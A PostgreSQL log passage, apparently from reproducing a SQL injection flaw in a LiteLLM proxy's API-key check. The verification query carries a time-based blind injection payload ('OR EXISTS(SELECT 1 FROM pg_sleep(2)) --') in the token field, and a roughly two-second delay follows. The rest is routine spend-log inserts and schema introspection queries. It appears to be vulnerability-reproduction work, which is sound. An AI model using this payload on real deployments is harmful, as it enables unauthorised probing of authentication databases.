b.max_budget AS litellm_budget_table_max_budget, b.tpm_limit AS litellm_budget_table_tpm_limit, b.rpm_limit AS litellm_budget_table_rpm_limit, b.model_max_budget as litellm_budget_table_model_max_budget, b.soft_budget as litellm_budget_table_soft_budget, o.metadata as organization_metadata, o.organization_alias as organization_alias, b2.max_budget as organization_max_budget, b2.tpm_limit as organization_tpm_limit, b2.rpm_limit as organization_rpm_limit FROM "LiteLLM_VerificationToken" AS v LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id LEFT JOIN "LiteLLM_TeamMembership" AS tm ON v.team_id = tm.team_id AND tm.user_id = v.user_id LEFT JOIN "LiteLLM_ModelTable" m ON t.model_id = m.id LEFT JOIN "LiteLLM_BudgetTable" AS b ON v.budget_id = b.budget_id LEFT JOIN "LiteLLM_ProjectTable" AS p ON v.project_id = p.project_id LEFT JOIN "LiteLLM_OrganizationTable" AS o ON v.organization_id = o.organization_id LEFT JOIN "LiteLLM_BudgetTable" AS b2 ON o.budget_id = b2.budget_id WHERE v.token = '' OR EXISTS(SELECT 1 FROM pg_sleep(2)) -- x-litellm' 2026-07-07 07:40:27.745 UTC [132536] LOG: duration: 1.369 ms bind s11: SELECT v.*, t.spend AS team_spend, t.max_budget AS team_max_budget, t.soft_budget AS team_soft_budget, t.tpm_limit AS team_tpm_limit, t.rpm_limit AS team_rpm_limit, t.models AS team_models, t.metadata AS team_metadata, t.blocked AS team_blocked, t.team_alias AS team_alias, t.metadata AS team_metadata, t.members_with_roles AS team_members_with_roles, t.object_permission_id AS team_object_permission_id, t.organization_id as org_id, p.project_alias AS project_alias, tm.spend AS team_member_spend, m.aliases AS team_model_aliases, -- Added comma to separate b.* columns b.max_budget AS litellm_budget_table_max_budget, b.tpm_limit AS litellm_budget_table_tpm_limit, b.rpm_limit AS litellm_budget_table_rpm_limit, b.model_max_budget as litellm_budget_table_model_max_budget, b.soft_budget as litellm_budget_table_soft_budget, o.metadata as organization_metadata, o.organization_alias as organization_alias, b2.max_budget as organization_max_budget, b2.tpm_limit as organization_tpm_limit, b2.rpm_limit as organization_rpm_limit FROM "LiteLLM_VerificationToken" AS v LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id LEFT JOIN "LiteLLM_TeamMembership" AS tm ON v.team_id = tm.team_id AND tm.user_id = v.user_id LEFT JOIN "LiteLLM_ModelTable" m ON t.model_id = m.id LEFT JOIN "LiteLLM_BudgetTable" AS b ON v.budget_id = b.budget_id LEFT JOIN "LiteLLM_ProjectTable" AS p ON v.project_id = p.project_id LEFT JOIN "LiteLLM_OrganizationTable" AS o ON v.organization_id = o.organization_id LEFT JOIN "LiteLLM_BudgetTable" AS b2 ON o.budget_id = b2.budget_id WHERE v.token = '' OR EXISTS(SELECT 1 FROM pg_sleep(2)) -- x-litellm' 2026-07-07 07:40:27.745 UTC [132536] LOG: execute s11: SELECT v.*, t.spend AS team_spend, t.max_budget AS team_max_budget, t.soft_budget AS team_soft_budget, t.tpm_limit AS team_tpm_limit, t.rpm_limit AS team_rpm_limit, t.models AS team_models, t.metadata AS team_metadata, t.blocked AS team_blocked, t.team_alias AS team_alias, t.metadata AS team_metadata, t.members_with_roles AS team_members_with_roles, t.object_permission_id AS team_object_permission_id, t.organization_id as org_id, p.project_alias AS project_alias, tm.spend AS team_member_spend, m.aliases AS team_model_aliases, -- Added comma to separate b.* columns b.max_budget AS litellm_budget_table_max_budget, b.tpm_limit AS litellm_budget_table_tpm_limit, b.rpm_limit AS litellm_budget_table_rpm_limit, b.model_max_budget as litellm_budget_table_model_max_budget, b.soft_budget as litellm_budget_table_soft_budget, o.metadata as organization_metadata, o.organization_alias as organization_alias, b2.max_budget as organization_max_budget, b2.tpm_limit as organization_tpm_limit, b2.rpm_limit as organization_rpm_limit FROM "LiteLLM_VerificationToken" AS v LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id LEFT JOIN "LiteLLM_TeamMembership" AS tm ON v.team_id = tm.team_id AND tm.user_id = v.user_id LEFT JOIN "LiteLLM_ModelTable" m ON t.model_id = m.id LEFT JOIN "LiteLLM_BudgetTable" AS b ON v.budget_id = b.budget_id LEFT JOIN "LiteLLM_ProjectTable" AS p ON v.project_id = p.project_id LEFT JOIN "LiteLLM_OrganizationTable" AS o ON v.organization_id = o.organization_id LEFT JOIN "LiteLLM_BudgetTable" AS b2 ON o.budget_id = b2.budget_id WHERE v.token = '' OR EXISTS(SELECT 1 FROM pg_sleep(2)) -- x-litellm' 2026-07-07 07:40:27.838 UTC [132534] LOG: statement: BEGIN 2026-07-07 07:40:27.838 UTC [132534] LOG: duration: 0.066 ms 2026-07-07 07:40:27.839 UTC [132534] LOG: duration: 0.311 ms parse s12: INSERT INTO "public"."LiteLLM_SpendLogs" ("request_tags","total_tokens","mcp_namespaced_tool_name","metadata","messages","model_id","model","startTime","custom_llm_provider","team_id","proxy_server_request","status","api_base","prompt_tokens","model_group","api_key","user","completionStartTime","end_user","requester_ip_address","organization_id","completion_tokens","endTime","session_id","request_id","response","spend","call_type","cache_key","cache_hit","request_duration_ms","agent_id") VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$20,$21,$22,$23,$24,$25,$26,$27,$28,$29,$30,$31,$32) ON CONFLICT DO NOTHING /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:40:27.839 UTC [132534] LOG: duration: 0.121 ms bind s12: INSERT INTO "public"."LiteLLM_SpendLogs" ("request_tags","total_tokens","mcp_namespaced_tool_name","metadata","messages","model_id","model","startTime","custom_llm_provider","team_id","proxy_server_request","status","api_base","prompt_tokens","model_group","api_key","user","completionStartTime","end_user","requester_ip_address","organization_id","completion_tokens","endTime","session_id","request_id","response","spend","call_type","cache_key","cache_hit","request_duration_ms","agent_id") VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$20,$21,$22,$23,$24,$25,$26,$27,$28,$29,$30,$31,$32) ON CONFLICT DO NOTHING /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:40:27.839 UTC [132534] DETAIL: Parameters: $1 = '[]', $2 = '0', $3 = NULL, $4 = '{"status": "failure", "max_retries": null, "batch_models": null, "usage_object": null, "user_api_key": null, "cost_breakdown": null, "attempted_retries": null, "error_information": {"traceback": " File \"/data/pruva/project-cache/ea84d142-3b88-4e3b-ad6b-a004b7386804/venvs/litellm_vuln_1_83_6/lib/python3.14/site-packages/litellm/proxy/auth/user_api_key_auth.py\", line 947, in _user_api_key_auth_builder\n raise Exception(\"No api key passed in.\")\n", "error_code": "", "error_class": "Exception", "llm_provider": "", "error_message": "No api key passed in."}, "applied_guardrails": null, "user_api_key_alias": null, "spend_logs_metadata": null, "user_api_key_org_id": null, "proxy_server_request": null, "requester_ip_address": null, "user_api_key_team_id": null, "user_api_key_user_id": null, "guardrail_information": null, "model_map_information": null, "mcp_tool_call_metadata": null, "additional_usage_values": {}, "cold_storage_object_key": null, "user_api_key_project_id": null, "user_api_key_team_alias": null, "litellm_overhead_time_ms": null, "user_api_key_project_alias": null, "vector_store_request_metadata": null}', $5 = '{}', $6 = '', $7 = '', $8 = '2026-07-07 07:40:25.643798', $9 = '', $10 = '', $11 = '{}', $12 = 'failure', $13 = '', $14 = '0', $15 = '', $16 = 'None', $17 = '', $18 = '2026-07-07 07:40:25.643', $19 = '', $20 = NULL, $21 = '', $22 = '0', $23 = '2026-07-07 07:40:25.643803', $24 = 'e7144f7d-2751-4b7e-ba3d-484e2092e483', $25 = '7d0e1eb8-cfef-47b2-aa0b-32d6b29b7c28', $26 = '{}', $27 = '0', $28 = '', $29 = 'Cache OFF', $30 = 'False', $31 = '0', $32 = NULL 2026-07-07 07:40:27.839 UTC [132534] LOG: execute s12: INSERT INTO "public"."LiteLLM_SpendLogs" ("request_tags","total_tokens","mcp_namespaced_tool_name","metadata","messages","model_id","model","startTime","custom_llm_provider","team_id","proxy_server_request","status","api_base","prompt_tokens","model_group","api_key","user","completionStartTime","end_user","requester_ip_address","organization_id","completion_tokens","endTime","session_id","request_id","response","spend","call_type","cache_key","cache_hit","request_duration_ms","agent_id") VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$20,$21,$22,$23,$24,$25,$26,$27,$28,$29,$30,$31,$32) ON CONFLICT DO NOTHING /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:40:27.839 UTC [132534] DETAIL: Parameters: $1 = '[]', $2 = '0', $3 = NULL, $4 = '{"status": "failure", "max_retries": null, "batch_models": null, "usage_object": null, "user_api_key": null, "cost_breakdown": null, "attempted_retries": null, "error_information": {"traceback": " File \"/data/pruva/project-cache/ea84d142-3b88-4e3b-ad6b-a004b7386804/venvs/litellm_vuln_1_83_6/lib/python3.14/site-packages/litellm/proxy/auth/user_api_key_auth.py\", line 947, in _user_api_key_auth_builder\n raise Exception(\"No api key passed in.\")\n", "error_code": "", "error_class": "Exception", "llm_provider": "", "error_message": "No api key passed in."}, "applied_guardrails": null, "user_api_key_alias": null, "spend_logs_metadata": null, "user_api_key_org_id": null, "proxy_server_request": null, "requester_ip_address": null, "user_api_key_team_id": null, "user_api_key_user_id": null, "guardrail_information": null, "model_map_information": null, "mcp_tool_call_metadata": null, "additional_usage_values": {}, "cold_storage_object_key": null, "user_api_key_project_id": null, "user_api_key_team_alias": null, "litellm_overhead_time_ms": null, "user_api_key_project_alias": null, "vector_store_request_metadata": null}', $5 = '{}', $6 = '', $7 = '', $8 = '2026-07-07 07:40:25.643798', $9 = '', $10 = '', $11 = '{}', $12 = 'failure', $13 = '', $14 = '0', $15 = '', $16 = 'None', $17 = '', $18 = '2026-07-07 07:40:25.643', $19 = '', $20 = NULL, $21 = '', $22 = '0', $23 = '2026-07-07 07:40:25.643803', $24 = 'e7144f7d-2751-4b7e-ba3d-484e2092e483', $25 = '7d0e1eb8-cfef-47b2-aa0b-32d6b29b7c28', $26 = '{}', $27 = '0', $28 = '', $29 = 'Cache OFF', $30 = 'False', $31 = '0', $32 = NULL 2026-07-07 07:40:27.841 UTC [132534] LOG: duration: 2.017 ms 2026-07-07 07:40:27.841 UTC [132534] LOG: statement: COMMIT 2026-07-07 07:40:27.846 UTC [132534] LOG: duration: 4.513 ms 2026-07-07 07:40:29.747 UTC [132536] LOG: duration: 2002.659 ms 2026-07-07 07:42:09.190 UTC [132987] LOG: duration: 1.426 ms parse s0: SELECT version() 2026-07-07 07:42:09.191 UTC [132987] LOG: duration: 0.075 ms bind s0: SELECT version() 2026-07-07 07:42:09.191 UTC [132987] LOG: execute s0: SELECT version() 2026-07-07 07:42:09.191 UTC [132987] LOG: duration: 0.018 ms 2026-07-07 07:42:09.193 UTC [132987] LOG: duration: 1.979 ms parse s1: SELECT EXISTS(SELECT 1 FROM pg_namespace WHERE nspname = $1), version(), current_setting('server_version_num')::integer as numeric_version; 2026-07-07 07:42:09.194 UTC [132987] LOG: duration: 0.991 ms bind s1: SELECT EXISTS(SELECT 1 FROM pg_namespace WHERE nspname = $1), version(), current_setting('server_version_num')::integer as numeric_version; 2026-07-07 07:42:09.194 UTC [132987] DETAIL: Parameters: $1 = 'public' 2026-07-07 07:42:09.194 UTC [132987] LOG: execute s1: SELECT EXISTS(SELECT 1 FROM pg_namespace WHERE nspname = $1), version(), current_setting('server_version_num')::integer as numeric_version; 2026-07-07 07:42:09.194 UTC [132987] DETAIL: Parameters: $1 = 'public' 2026-07-07 07:42:09.194 UTC [132987] LOG: duration: 0.014 ms 2026-07-07 07:42:09.195 UTC [132987] LOG: duration: 0.578 ms parse s2: SELECT namespace.nspname as namespace_name FROM pg_namespace as namespace WHERE namespace.nspname = ANY ( $1 ) ORDER BY namespace_name; 2026-07-07 07:42:09.196 UTC [132987] LOG: duration: 0.693 ms bind s2: SELECT namespace.nspname as namespace_name FROM pg_namespace as namespace WHERE namespace.nspname = ANY ( $1 ) ORDER BY namespace_name; 2026-07-07 07:42:09.196 UTC [132987] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:42:09.196 UTC [132987] LOG: execute s2: SELECT namespace.nspname as namespace_name FROM pg_namespace as namespace WHERE namespace.nspname = ANY ( $1 ) ORDER BY namespace_name; 2026-07-07 07:42:09.196 UTC [132987] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:42:09.196 UTC [132987] LOG: duration: 0.024 ms 2026-07-07 07:42:09.197 UTC [132987] LOG: duration: 1.422 ms parse s3: SELECT tbl.relname AS table_name, namespace.nspname as namespace, (tbl.relhassubclass and tbl.relkind = 'p') as is_partition, (tbl.relhassubclass and tbl.relkind = 'r') as has_subclass, tbl.relrowsecurity as has_row_level_security, reloptions, obj_description(tbl.oid, 'pg_class') as description FROM pg_class AS tbl INNER JOIN pg_namespace AS namespace ON namespace.oid = tbl.relnamespace WHERE ( -- (relkind = 'r' and relispartition = 't') matches partition table "duplicates" (tbl.relkind = 'r' AND tbl.relispartition = 'f') OR -- when it's a partition tbl.relkind = 'p' ) AND namespace.nspname = ANY ( $1 ) ORDER BY namespace, table_name; 2026-07-07 07:42:09.200 UTC [132987] LOG: duration: 2.887 ms bind s3: SELECT tbl.relname AS table_name, namespace.nspname as namespace, (tbl.relhassubclass and tbl.relkind = 'p') as is_partition, (tbl.relhassubclass and tbl.relkind = 'r') as has_subclass, tbl.relrowsecurity as has_row_level_security, reloptions, obj_description(tbl.oid, 'pg_class') as description FROM pg_class AS tbl INNER JOIN pg_namespace AS namespace ON namespace.oid = tbl.relnamespace WHERE ( -- (relkind = 'r' and relispartition = 't') matches partition table "duplicates" (tbl.relkind = 'r' AND tbl.relispartition = 'f') OR -- when it's a partition tbl.relkind = 'p' ) AND namespace.nspname = ANY ( $1 ) ORDER BY namespace, table_name; 2026-07-07 07:42:09.200 UTC [132987] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:42:09.200 UTC [132987] LOG: execute s3: SELECT tbl.relname AS table_name, namespace.nspname as namespace, (tbl.relhassubclass and tbl.relkind = 'p') as is_partition, (tbl.relhassubclass and tbl.relkind = 'r') as has_subclass, tbl.relrowsecurity as has_row_level_security, reloptions, obj_description(tbl.oid, 'pg_class') as description FROM pg_class AS tbl INNER JOIN pg_namespace AS namespace ON namespace.oid = tbl.relnamespace WHERE ( -- (relkind = 'r' and relispartition = 't') matches partition table "duplicates" (tbl.relkind = 'r' AND tbl.relispartition = 'f') OR -- when it's a partition tbl.relkind = 'p' ) AND namespace.nspname = ANY ( $1 ) ORDER BY namespace, table_name; 2026-07-07 07:42:09.200 UTC [132987] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:42:09.204 UTC [132987] LOG: duration: 3.746 ms 2026-07-07 07:42:09.205 UTC [132987] LOG: duration: 0.497 ms parse s4: SELECT schemainfo.nspname AS namespace, tableinfo.relname AS table_name, constr.conname AS constraint_name, constr.contype AS constraint_type, pg_get_constraintdef(constr.oid) AS constraint_definition, constr.condeferrable AS is_deferrable, constr.condeferred AS is_deferred FROM pg_constraint constr JOIN pg_class AS tableinfo ON tableinfo.oid = constr.conrelid JOIN pg_namespace AS schemainfo ON schemainfo.oid = tableinfo.relnamespace WHERE schemainfo.nspname = ANY ( $1 ) AND contype NOT IN ('p', 'u', 'f') ORDER BY namespace, table_name, constr.contype, constraint_name; 2026-07-07 07:42:09.207 UTC [132987] LOG: duration: 1.500 ms bind s4: SELECT schemainfo.nspname AS namespace, tableinfo.relname AS table_name, constr.conname AS constraint_name, constr.contype AS constraint_type, pg_get_constraintdef(constr.oid) AS constraint_definition, constr.condeferrable AS is_deferrable, constr.condeferred AS is_deferred FROM pg_constraint constr JOIN pg_class AS tableinfo ON tableinfo.oid = constr.conrelid JOIN pg_namespace AS schemainfo ON schemainfo.oid = tableinfo.relnamespace WHERE schemainfo.nspname = ANY ( $1 ) AND contype NOT IN ('p', 'u', 'f') ORDER BY namespace, table_name, constr.contype, constraint_name; 2026-07-07 07:42:09.207 UTC [132987] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:42:09.207 UTC [132987] LOG: execute s4: SELECT schemainfo.nspname AS namespace, tableinfo.relname AS table_name, constr.conname AS constraint_name, constr.contype AS constraint_type, pg_get_constraintdef(constr.oid) AS constraint_definition, constr.condeferrable AS is_deferrable, constr.condeferred AS is_deferred FROM pg_constraint constr JOIN pg_class AS tableinfo ON tableinfo.oid = constr.conrelid JOIN pg_namespace AS schemainfo ON schemainfo.oid = tableinfo.relnamespace WHERE schemainfo.nspname = ANY ( $1 ) AND contype NOT IN ('p', 'u', 'f') ORDER BY namespace, table_name, constr.contype, constraint_name; 2026-07-07 07:42:09.207 UTC [132987] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:42:09.210 UTC [132987] LOG: duration: 2.894 ms 2026-07-07 07:42:09.212 UTC [132987] LOG: duration: 1.892 ms parse s5: SELECT views.viewname AS view_name, views.definition AS view_sql, views.schemaname AS namespace, obj_description(class.oid, 'pg_class') AS description FROM pg_catalog.pg_views views INNER JOIN pg_catalog.pg_namespace ns ON views.schemaname = ns.nspname INNER JOIN pg_catalog.pg_class class ON class.relnamespace = ns.oid AND class.relname = views.viewname WHERE schemaname = ANY ( $1 ) 2026-07-07 07:42:09.212 UTC [132987] LOG: duration: 0.476 ms bind s5: SELECT views.viewname AS view_name, views.definition AS view_sql, views.schemaname AS namespace, obj_description(class.oid, 'pg_class') AS description FROM pg_catalog.pg_views views INNER JOIN pg_catalog.pg_namespace ns ON views.schemaname = ns.nspname INNER JOIN pg_catalog.pg_class class ON class.relnamespace = ns.oid AND class.relname = views.viewname WHERE schemaname = ANY ( $1 ) 2026-07-07 07:42:09.212 UTC [132987] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:42:09.212 UTC [132987] LOG: execute s5: SELECT views.viewname AS view_name, views.definition AS view_sql, views.schemaname AS namespace, obj_description(class.oid, 'pg_class') AS description FROM pg_catalog.pg_views views INNER JOIN pg_catalog.pg_namespace ns ON views.schemaname = ns.nspname INNER JOIN pg_catalog.pg_class class ON class.relnamespace = ns.oid AND class.relname = views.viewname WHERE schemaname = ANY ( $1 ) 2026-07-07 07:42:09.212 UTC [132987] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:42:09.217 UTC [132987] LOG: duration: 4.745 ms 2026-07-07 07:42:09.217 UTC [132987] LOG: duration: 0.094 ms parse s6: SELECT t.typname AS name, e.enumlabel AS value, n.nspname AS namespace, obj_description(t.oid, 'pg_type') AS description FROM pg_type t JOIN pg_enum e ON t.oid = e.enumtypid JOIN pg_catalog.pg_namespace n ON n.oid = t.typnamespace WHERE n.nspname = ANY ( $1 ) ORDER BY e.enumsortorder 2026-07-07 07:42:09.219 UTC [132987] LOG: duration: 1.172 ms bind s6: SELECT t.typname AS name, e.enumlabel AS value, n.nspname AS namespace, obj_description(t.oid, 'pg_type') AS description FROM pg_type t JOIN pg_enum e ON t.oid = e.enumtypid JOIN pg_catalog.pg_namespace n ON n.oid = t.typnamespace WHERE n.nspname = ANY ( $1 ) ORDER BY e.enumsortorder 2026-07-07 07:42:09.219 UTC [132987] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:42:09.219 UTC [132987] LOG: execute s6: SELECT t.typname AS name, e.enumlabel AS value, n.nspname AS namespace, obj_description(t.oid, 'pg_type') AS description FROM pg_type t JOIN pg_enum e ON t.oid = e.enumtypid JOIN pg_catalog.pg_namespace n ON n.oid = t.typnamespace WHERE n.nspname = ANY ( $1 ) ORDER BY e.enumsortorder 2026-07-07 07:42:09.219 UTC [132987] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:42:09.220 UTC [132987] LOG: duration: 1.081 ms 2026-07-07 07:42:09.223 UTC [132987] LOG: duration: 3.372 ms parse s7: SELECT oid.namespace, info.table_name, info.column_name, format_type(att.atttypid, att.atttypmod) as formatted_type, info.numeric_precision, info.numeric_scale, info.numeric_precision_radix, info.datetime_precision, info.data_type, info.udt_schema as type_schema_name, info.udt_name as full_data_type, pg_get_expr(attdef.adbin, attdef.adrelid) AS column_default, info.is_nullable, info.is_identity, info.character_maximum_length, col_description(att.attrelid, ordinal_position) AS description FROM information_schema.columns info JOIN pg_attribute att ON att.attname = info.column_name JOIN ( SELECT pg_class.oid, relname, pg_namespace.nspname as namespace FROM pg_class JOIN pg_namespace on pg_namespace.oid = pg_class.relnamespace AND pg_namespace.nspname = ANY ( $1 ) WHERE reltype > 0 ) as oid on oid.oid = att.attrelid AND relname = info.table_name AND namespace = info.table_schema LEFT OUTER JOIN pg_attrdef attdef ON attdef.adrelid = att.attrelid AND attdef.adnum = att.attnum AND table_schema = namespace WHERE table_schema = ANY ( $1 ) ORDER BY namespace, table_name, ordinal_position; 2026-07-07 07:42:09.230 UTC [132987] LOG: duration: 6.512 ms bind s7: SELECT oid.namespace, info.table_name, info.column_name, format_type(att.atttypid, att.atttypmod) as formatted_type, info.numeric_precision, info.numeric_scale, info.numeric_precision_radix, info.datetime_precision, info.data_type, info.udt_schema as type_schema_name, info.udt_name as full_data_type, pg_get_expr(attdef.adbin, attdef.adrelid) AS column_default, info.is_nullable, info.is_identity, info.character_maximum_length, col_description(att.attrelid, ordinal_position) AS description FROM information_schema.columns info JOIN pg_attribute att ON att.attname = info.column_name JOIN ( SELECT pg_class.oid, relname, pg_namespace.nspname as namespace FROM pg_class JOIN pg_namespace on pg_namespace.oid = pg_class.relnamespace AND pg_namespace.nspname = ANY ( $1 ) WHERE reltype > 0 ) as oid on oid.oid = att.attrelid AND relname = info.table_name AND namespace = info.table_schema LEFT OUTER JOIN pg_attrdef attdef ON attdef.adrelid = att.attrelid AND attdef.adnum = att.attnum AND table_schema = namespace WHERE table_schema = ANY ( $1 ) ORDER BY namespace, table_name, ordinal_position; 2026-07-07 07:42:09.230 UTC [132987] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:42:09.230 UTC [132987] LOG: execute s7: SELECT oid.namespace, info.table_name, info.column_name, format_type(att.atttypid, att.atttypmod) as formatted_type, info.numeric_precision, info.numeric_scale, info.numeric_precision_radix, info.datetime_precision, info.data_type, info.udt_schema as type_schema_name, info.udt_name as full_data_type, pg_get_expr(attdef.adbin, attdef.adrelid) AS column_default, info.is_nullable, info.is_identity, info.character_maximum_length, col_description(att.attrelid, ordinal_position) AS description FROM information_schema.columns info JOIN pg_attribute att ON att.attname = info.column_name JOIN ( SELECT pg_class.oid, relname, pg_namespace.nspname as namespace FROM pg_class JOIN pg_namespace on pg_namespace.oid = pg_class.relnamespace AND pg_namespace.nspname = ANY ( $1 ) WHERE reltype > 0 ) as oid on oid.oid = att.attrelid AND relname = info.table_name AND namespace = info.table_schema LEFT OUTER JOIN pg_attrdef attdef ON attdef.adrelid = att.attrelid AND attdef.adnum = att.attnum AND table_schema = namespace WHERE table_schema = ANY ( $1 ) ORDER BY namespace, table_name, ordinal_position; 2026-07-07 07:42:09.230 UTC [132987] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:42:09.255 UTC [132987] LOG: duration: 25.112 ms 2026-07-07 07:42:09.258 UTC [132987] LOG: duration: 0.616 ms parse s8: SELECT con.oid AS "con_id", att2.attname AS "child_column", cl.relname AS "parent_table", att.attname AS "parent_column", con.confdeltype, con.confupdtype, rel_ns.nspname AS "referenced_schema_name", conname AS constraint_name, child, parent, table_name, namespace, condeferrable, condeferred FROM (SELECT ns.nspname AS "namespace", unnest(con1.conkey) AS "parent", unnest(con1.confkey) AS "child", cl.relname AS table_name, ns.nspname AS schema_name, generate_subscripts(con1.conkey, 1) AS colidx, con1.oid, con1.confrelid, con1.conrelid, con1.conname, con1.confdeltype, con1.confupdtype, con1.condeferrable AS condeferrable, con1.condeferred AS condeferred FROM pg_class cl join pg_constraint con1 on con1.conrelid = cl.oid join pg_namespace ns on cl.relnamespace = ns.oid WHERE ns.nspname = ANY ( $1 ) and con1.contype = 'f' ORDER BY colidx ) con JOIN pg_attribute att on att.attrelid = con.confrelid and att.attnum = con.child JOIN pg_class cl on cl.oid = con.confrelid JOIN pg_attribute att2 on att2.attrelid = con.conrelid and att2.attnum = con.parent JOIN pg_class rel_cl on con.confrelid = rel_cl.oid JOIN pg_namespace rel_ns on rel_cl.relnamespace = rel_ns.oid ORDER BY namespace, table_name, constraint_name, con_id, con.colidx; 2026-07-07 07:42:09.258 UTC [132987] LOG: duration: 0.536 ms bind s8: SELECT con.oid AS "con_id", att2.attname AS "child_column", cl.relname AS "parent_table", att.attname AS "parent_column", con.confdeltype, con.confupdtype, rel_ns.nspname AS "referenced_schema_name", conname AS constraint_name, child, parent, table_name, namespace, condeferrable, condeferred FROM (SELECT ns.nspname AS "namespace", unnest(con1.conkey) AS "parent", unnest(con1.confkey) AS "child", cl.relname AS table_name, ns.nspname AS schema_name, generate_subscripts(con1.conkey, 1) AS colidx, con1.oid, con1.confrelid, con1.conrelid, con1.conname, con1.confdeltype, con1.confupdtype, con1.condeferrable AS condeferrable, con1.condeferred AS condeferred FROM pg_class cl join pg_constraint con1 on con1.conrelid = cl.oid join pg_namespace ns on cl.relnamespace = ns.oid WHERE ns.nspname = ANY ( $1 ) and con1.contype = 'f' ORDER BY colidx ) con JOIN pg_attribute att on att.attrelid = con.confrelid and att.attnum = con.child JOIN pg_class cl on cl.oid = con.confrelid JOIN pg_attribute att2 on att2.attrelid = con.conrelid and att2.attnum = con.parent JOIN pg_class rel_cl on con.confrelid = rel_cl.oid JOIN pg_namespace rel_ns on rel_cl.relnamespace = rel_ns.oid ORDER BY namespace, table_name, constraint_name, con_id, con.colidx; 2026-07-07 07:42:09.258 UTC [132987] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:42:09.258 UTC [132987] LOG: execute s8: SELECT con.oid AS "con_id", att2.attname AS "child_column", cl.relname AS "parent_table", att.attname AS "parent_column", con.confdeltype, con.confupdtype, rel_ns.nspname AS "referenced_schema_name", conname AS constraint_name, child, parent, table_name, namespace, condeferrable, condeferred FROM (SELECT ns.nspname AS "namespace", unnest(con1.conkey) AS "parent", unnest(con1.confkey) AS "child", cl.relname AS table_name, ns.nspname AS schema_name, generate_subscripts(con1.conkey, 1) AS colidx, con1.oid, con1.confrelid, con1.conrelid, con1.conname, con1.confdeltype, con1.confupdtype, con1.condeferrable AS condeferrable, con1.condeferred AS condeferred FROM pg_class cl join pg_constraint con1 on con1.conrelid = cl.oid join pg_namespace ns on cl.relnamespace = ns.oid WHERE ns.nspname = ANY ( $1 ) and con1.contype = 'f' ORDER BY colidx ) con JOIN pg_attribute att on att.attrelid = con.confrelid and att.attnum = con.child JOIN pg_class cl on cl.oid = con.confrelid JOIN pg_attribute att2 on att2.attrelid = con.conrelid and att2.attnum = con.parent JOIN pg_class rel_cl on con.confrelid = rel_cl.oid JOIN pg_namespace rel_ns on rel_cl.relnamespace = rel_ns.oid ORDER BY namespace, table_name, constraint_name, con_id, con.colidx; 2026-07-07 07:42:09.258 UTC [132987] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:42:09.259 UTC [132987] LOG: duration: 0.784 ms 2026-07-07 07:42:09.259 UTC [132987] LOG: duration: 0.230 ms parse s9: WITH rawindex AS ( SELECT indrelid, indexrelid, indisunique, indisprimary, unnest(indkey) AS indkeyid, generate_subscripts(indkey, 1) AS indkeyidx, unnest(indclass) AS indclass, unnest(indoption) AS indoption FROM pg_index -- https://www.postgresql.org/docs/current/catalog-pg-index.html WHERE indpred IS NULL -- filter out partial indexes AND NOT indisexclusion -- filter out exclusion constraints ) SELECT schemainfo.nspname AS namespace, indexinfo.relname AS index_name, tableinfo.relname AS table_name, columninfo.attname AS column_name, rawindex.indisunique AS is_unique, rawindex.indisprimary AS is_primary_key, rawindex.indkeyidx AS column_index, opclass.opcname AS opclass, opclass.opcdefault AS opcdefault, indexaccess.amname AS index_algo, CASE rawindex.indoption & 1 WHEN 1 THEN 'DESC' ELSE 'ASC' END AS column_order, CASE rawindex.indoption & 2 WHEN 2 THEN true ELSE false END AS nulls_first, pc.condeferrable AS condeferrable, pc.condeferred AS condeferred FROM rawindex INNER JOIN pg_class AS tableinfo ON tableinfo.oid = rawindex.indrelid INNER JOIN pg_class AS indexinfo ON indexinfo.oid = rawindex.indexrelid INNER JOIN pg_namespace AS schemainfo ON schemainfo.oid = tableinfo.relnamespace LEFT JOIN pg_attribute AS columninfo ON columninfo.attrelid = tableinfo.oid AND columninfo.attnum = rawindex.indkeyid INNER JOIN pg_am AS indexaccess ON indexaccess.oid = indexinfo.relam LEFT JOIN pg_opclass AS opclass -- left join because crdb has no opclasses ON opclass.oid = rawindex.indclass LEFT JOIN pg_constraint pc ON rawindex.indexrelid = pc.conindid AND pc.contype <> 'f' WHERE schemainfo.nspname = ANY ( $1 ) ORDER BY namespace, table_name, index_name, column_index; 2026-07-07 07:42:09.261 UTC [132987] LOG: duration: 1.861 ms bind s9: WITH rawindex AS ( SELECT indrelid, indexrelid, indisunique, indisprimary, unnest(indkey) AS indkeyid, generate_subscripts(indkey, 1) AS indkeyidx, unnest(indclass) AS indclass, unnest(indoption) AS indoption FROM pg_index -- https://www.postgresql.org/docs/current/catalog-pg-index.html WHERE indpred IS NULL -- filter out partial indexes AND NOT indisexclusion -- filter out exclusion constraints ) SELECT schemainfo.nspname AS namespace, indexinfo.relname AS index_name, tableinfo.relname AS table_name, columninfo.attname AS column_name, rawindex.indisunique AS is_unique, rawindex.indisprimary AS is_primary_key, rawindex.indkeyidx AS column_index, opclass.opcname AS opclass, opclass.opcdefault AS opcdefault, indexaccess.amname AS index_algo, CASE rawindex.indoption & 1 WHEN 1 THEN 'DESC' ELSE 'ASC' END AS 